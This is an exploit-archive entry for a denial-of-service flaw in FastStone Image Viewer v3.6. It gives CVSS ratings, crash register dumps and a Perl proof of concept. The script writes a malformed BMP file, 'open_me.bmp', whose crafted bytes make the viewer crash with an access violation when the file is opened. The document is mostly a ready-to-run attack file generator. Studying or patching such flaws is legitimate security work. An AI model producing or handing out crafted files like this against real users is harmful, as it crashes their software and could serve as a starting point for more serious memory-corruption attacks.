FastStone Image Viewer v3.6 (malformed bmp image) DoS Exploit

Credit: crimson
Risk: Low
Local: Yes
Remote: No

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Name : FastStone Image Viewer v3.6 (malformed bmp image) DoS Exploit Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd (at) gmail (dot) com [email concealed] Download: : Greetz : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, Katharsis, all from #dark-coders and others;] PoC: #!/usr/local/bin/perl # Open file (File->Open) or simply click on the image miniature # FastStone Image Viewer v3.6 simply crashes # Tested on Windows 2000 SP4 #-----INFO---------------------- #EAX 00002847 #ECX 00000000 #EDX 00402818 dumped_F.00402818 #EBX 00402818 dumped_F.00402818 #ESP 00402818 dumped_F.00402818 #EBP 0012DF08 #ESI 00402818 dumped_F.00402818 #EDI 000161E8 #EIP 012F0447 # #Reason: "Access violation when writing to [00002847] #-----INFO---------------------- my $code="\x42\x4d\x3c\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00" . "\x00\x00\xcc\x5f\x01\x00\xe8\x61\x01\x00\x01\x00\x18\x00\x00\x00". "\x00\x00\x06\x00\x00\x00\x98\x9e\x00\x00\x88\x77\x00\x00\xff\x02". "\xfd\x00\x00\x00\x00\x00\x41"; my $file="open_me.bmp"; open(my $FILE, ">>$file") or die "[!]Cannot open file"; print $FILE $code; close($FILE); print "$file has been generated\n" print "Credit: suN8Hclf,"


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